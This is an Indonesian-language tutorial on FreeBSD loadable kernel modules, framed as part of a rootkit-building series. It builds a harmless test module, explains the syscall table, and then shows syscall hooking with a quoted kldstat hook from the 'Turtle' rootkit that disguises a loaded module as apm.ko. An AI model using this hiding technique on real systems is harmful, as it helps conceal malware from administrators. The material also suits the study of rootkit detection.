kita akan mulai mencoba membuat suatu kernel object (.ko) yang kemudian akan kita load dengan kldload (ekstensi tidak musti harus .ko).
Untuk memudahkan kita akan pakai bahasa C , untuk contoh2 source code lkm di freebsd bisa dilihat di /usr/share/examples/kld.
Sebelum membuat agar tidak terjadi kebingungan harus dipahami bahwa kode2 yang berjalan di
kernel space berbeda dengan kode2 yang berjalan di userspace.
Misal pada suatu program di userspace akan bersifat paralel di mana instruksi program akan berjalan dari atas ke bawah.
Sedangkan pada suatu kernel kode programmer harus memperhitungkan setiap kemungkinan yang terjadi , tidak berpikir secara paralel karena masing 2 
fungsi
pada suatu modul kernel bisa diakses oleh proses yang berbeda2.

Sebelum mulai akan kita bahas sedikit tentang anatomi suatu LKM di FreeBSD.

[Anatomi Suatu LKM pada FreeBSD]

pada setiap lkm di freebsd memiliki struktur kurang lebih sbb:

1. bagian header file yang akan diinclude 

misal seperti ini:
=============
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
=============

2. bagian penganganan load dan unload event (module event handler)

misal seperti ini:
=======

static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}

=======



"static int load_module(struct module *module, int cmd, void *arg)" merupakan fungsi untuk menangani event

bisa kita liat prototype fungsi ini di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h

==============
typedef int (*modeventhand_t)(module_t, int /* modeventtype_t */, void *);
==============


event 2 yang ditangani oleh fungsi ini bisa kita lihat di atas prototype:
==============
typedef enum modeventtype {
MOD_LOAD,
MOD_UNLOAD,
MOD_SHUTDOWN,
MOD_QUIESCE
} modeventtype_t;
============


- MOD_LOAD : saat module diload ke kernel

- MOD_UNLOAD : saat module diunload

- MOD_SHUTDOWN : saat module shut down

- MOD_QUIESCE : saat module dipause 

3. bagian pemberi nama untuk modul

misal seperti ini:
==============================
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
==============================


bisa kita liat deklarasi struktur untuk data modul di /usr/include/sys/module.h atau di /usr/src/sys/sys/module.h

====================================
/*
* Struct for registering modules statically via SYSINIT.
*/
typedef struct moduledata {
const char	*name;	 /* module name */
modeventhand_t evhand;	 /* event handler */
void	 *priv;	 /* extra data */
} moduledata_t;

======================================



4. bagian deklarasi modul

makro untuk deklarasi modul bisa dilihat di /usr/src/sysent.h:
==============
DECLARE_MODULE(name, name##_mod, SI_SUB_SYSCALLS, SI_ORDER_MIDDLE)
==============

misal seperti ini:
===========================
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
===========================



terakhir menggunakan makro DECLARE_MODULE untuk meregister dan melink modul kita ke kernel.

ok kurang lebih bentuk lengkapnya:

nama file :"ev1lut10n.c"
=======================
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/libkern.h>
#include <sys/dirent.h>

static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}


static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};

DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==========================


simpan dengan nama ev1lut10n.c lalu siapkan Makefile dg isi sbb:
==============
KMOD=	ev1lut10n
SRCS=	ev1lut10n.c

.include <bsd.kmod.mk>
==============

selanjutnya make:
========
127# make
Warning: Object directory not changed from original /root/Desktop/artikel/kernel
cc -O2 -pipe -fno-strict-aliasing -Werror -D_KERNEL -DKLD_MODULE -nostdinc -I. -I@ -I@/contrib/altq -finline-limit=8000 --param inline-unit-growth=100 
--param large-function-growth=1000 -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 
-ffreestanding -fstack-protector -std=iso9899:1999 -fstack-protector -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes 
-Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -fformat-extensions -c ev1lut10n.c
ld -d -warn-common -r -d -o ev1lut10n.kld ev1lut10n.o
:> export_syms
awk -f /sys/conf/kmod_syms.awk ev1lut10n.kld export_syms | xargs -J% objcopy % ev1lut10n.kld
ld -Bshareable -d -warn-common -o ev1lut10n.ko ev1lut10n.kld
objcopy --strip-debug ev1lut10n.ko
=========

uji coba:
=============
127# kldload ./ev1lut10n.ko
modul diload
=============

cek dengan kldstat:
==================
127# kldstat
Id Refs Address Size Name
1 84 0xc0400000 bd97b4 kernel
2 1 0xc63ac000 9000 i915.ko
3 1 0xc63b5000 14000 drm.ko
4 1 0xc7119000 b000 ntfs.ko
5 1 0xcbcfc000 2000 snd_driver.ko
6 1 0xcbcfe000 5000 snd_vibes.ko
7 34 0xcbd12000 4c000 sound.ko
8 1 0xcbd5e000 4000 snd_via82c686.ko
9 1 0xcbd62000 7000 snd_via8233.ko
10 1 0xcbd69000 5000 snd_t4dwave.ko
11 3 0xcbd6e000 3000 snd_spicds.ko
12 1 0xcbd71000 5000 snd_solo.ko
13 4 0xcbd76000 4000 snd_sbc.ko
14 1 0xcbd7a000 4000 snd_sb8.ko
15 1 0xcbd80000 4000 snd_sb16.ko
16 1 0xcbd84000 11000 snd_neomagic.ko
17 2 0xcbd95000 a000 snd_mss.ko
18 1 0xcbda3000 a000 snd_maestro3.ko
19 1 0xcbdad000 8000 snd_maestro.ko
20 1 0xcbdb5000 6000 snd_ich.ko
21 1 0xcbdbb000 1a000 snd_hda.ko
22 1 0xcbe6f000 4000 snd_fm801.ko
23 1 0xcbe73000 5000 snd_ess.ko
24 1 0xcbe78000 8000 snd_es137x.ko
25 1 0xcbe80000 7000 snd_envy24ht.ko
26 1 0xcbe87000 8000 snd_envy24.ko
27 1 0xcbe9e000 12000 snd_emu10kx.ko
28 1 0xcbeb0000 b000 snd_ds1.ko
29 2 0xcbe93000 7000 snd_csa.ko
30 1 0xcbebb000 5000 snd_cs4281.ko
31 1 0xcbed1000 5000 snd_cmi.ko
32 1 0xcbed6000 6000 snd_atiixp.ko
33 1 0xcbedc000 5000 snd_als4000.ko
34 1 0xcbee2000 4000 snd_ad1816.ko
35 1 0xcbeef000 2000 ev1lut10n.ko ------------------------------- modul ev1lut10n telah diload
127# 
================


dan saat diunload:
=========
127# kldunload ev1lut10n.ko
modul diunload
==========


[Permainan ke 4. Teknik pada FreeBSD LKM Rootkit - Teknik Hooking]

Teknik hooking merupakan teknik yang banyak dipakai oleh para pembuat rootkit, Hooking merupakan teknik yang bertujuan untuk mengubah flow
dari suatu sistem operasi / software / API / library / Netfilter dsb.

[Teknik Syscall Hooking]
teknik ini banyak dipakai pada lkm rootkit. syscall merupakan mekanisme suatu program di userspace untuk meminta layanan dari kernel space.
Teknik ini bertujuan memodifikasi suatu syscall entry point. Nomor2 syscall secara semantik didefinisikan di /usr/include/sys/syscall.h

prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef	int	sy_call_t(struct thread *, void *);
===========


FreeBSD mendefinisikan entri point syscall pada suatu struktur bernama "sysent"

/usr/src/sys/sysent.h
===============
* $FreeBSD: src/sys/sys/sysent.h,v 1.60.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
struct sysent {	 /* system call table */
int	sy_narg;	/* number of arguments */
sy_call_t *sy_call;	/* implementing function */
au_event_t sy_auevent;	/* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry;	/* DTrace entry ID for systrace. */
u_int32_t sy_return;	/* DTrace return ID for systrace. */
u_int32_t sy_flags;	/* General flags for system calls. */
};
=============

selanjutnya didefenisikan suatu array dari struktur di file /usr/src/sys/kern/init_sysent.c

/usr/src/sys/kern/init_sysent.c
================
/*
* System call switch table.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/kern/init_sysent.c,v 1.253.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.om 212545 2010-09-13 08:49:08Z kib 
*/
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys, AUE_NULL, NULL, 0, 0, 0 },	 /* 0 = syscall */
{ AS(sys_exit_args), (sy_call_t *)sys_exit, AUE_EXIT, NULL, 0, 0, 0 },	/* 1 = exit */
{ 0, (sy_call_t *)fork, AUE_FORK, NULL, 0, 0, 0 },	 /* 2 = fork */
{ AS(read_args), (sy_call_t *)read, AUE_NULL, NULL, 0, 0, 0 },	/* 3 = read */
{ AS(write_args), (sy_call_t *)write, AUE_NULL, NULL, 0, 0, 0 },	/* 4 = write */
{ AS(open_args), (sy_call_t *)open, AUE_OPEN_RWTC, NULL, 0, 0, 0 },	/* 5 = open */
=======================snipped (dipotong krn terlalu panjang)===========================
{ AS(setuid_args), (sy_call_t *)setuid, AUE_SETUID, NULL, 0, 0, 0 },	/* 23 = setuid */
{ 0, (sy_call_t *)getuid, AUE_GETUID, NULL, 0, 0, 0 },	 /* 24 = getuid */
{ 0, (sy_call_t *)geteuid, AUE_GETEUID, NULL, 0, 0, 0 },	/* 25 = geteuid */
{ AS(ptrace_args), (sy_call_t *)ptrace, AUE_PTRACE, NULL, 0, 0, 0 },	/* 26 = ptrace */
{ AS(recvmsg_args), (sy_call_t *)recvmsg, AUE_RECVMSG, NULL, 0, 0, 0 },	/* 27 = recvmsg */
{ AS(sendmsg_args), (sy_call_t *)sendmsg, AUE_SENDMSG, NULL, 0, 0, 0 },	/* 28 = sendmsg */
{ AS(recvfrom_args), (sy_call_t *)recvfrom, AUE_RECVFROM, NULL, 0, 0, 0 },	/* 29 = recvfrom */

{ 0, (sy_call_t *)pipe, AUE_PIPE, NULL, 0, 0, 0 },	 /* 42 = pipe */
{ 0, (sy_call_t *)getegid, AUE_GETEGID, NULL, 0, 0, 0 },	/* 43 = getegid */

{ AS(pselect_args), (sy_call_t *)pselect, AUE_SELECT, NULL, 0, 0, 0 },	/* 522 = pselect */
};
=======================================

kita bisa melihat bahwa tabel sycall di FreeBSD merupakan array dari struktur yang didefinisikan di 
/usr/src/sys/kern/init_sysent.c

untuk semantik nomor2 syscall didefinisikan di /usr/src/sys/sys/syscall.h:
===================
/*
* System call numbers.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/sys/syscall.h,v 1.233.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.om 212545 2010-09-13 08:49:08Z kib 
*/

#define	SYS_syscall	0
#define	SYS_exit	1
#define	SYS_fork	2
#define	SYS_read	3
#define	SYS_write	4

cutted..................
==================





Untuk melakukan syscall hooking bisa dilakukan dengan teknik seperti ini:

misal hooking SYS_kldstat:
======
#define	SYS_kldstat	308
======



maka untuk melakukan hooking dengan meregisterkan fungsi hooking kita pada struktur sysent :

=================
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
=================

di mana kldstat_hook:
================================================================
/**potongan kode ini merupakan potongan kode hooking kldstat pada turtle freebsd rootkit
by WarGame/EOF - wargame89@yahoo.it */
**/
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */
{
int ret = kldstat(td,args);
size_t fake_size = 24264; /* the size of apm.ko on my system */

if(strcmp(args->stat->name,MOD_NAME) == 0)
{
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
#if VERBOSE
printf("Turtle2: blocking kldstat()\n");
#endif 
}

return ret;
}
=================================================================


untuk melakukan kldtat hooking kita bisa melihat penggunaan "copyout" yang berguna untuk mengkopi data dari kernel space
ke userspace, di sini akan ditampilkan sebagai apm.ko (/boot/kernel/apm.ko) pada saat dilakukan syscall SYS_kldstat pada tool kldstat.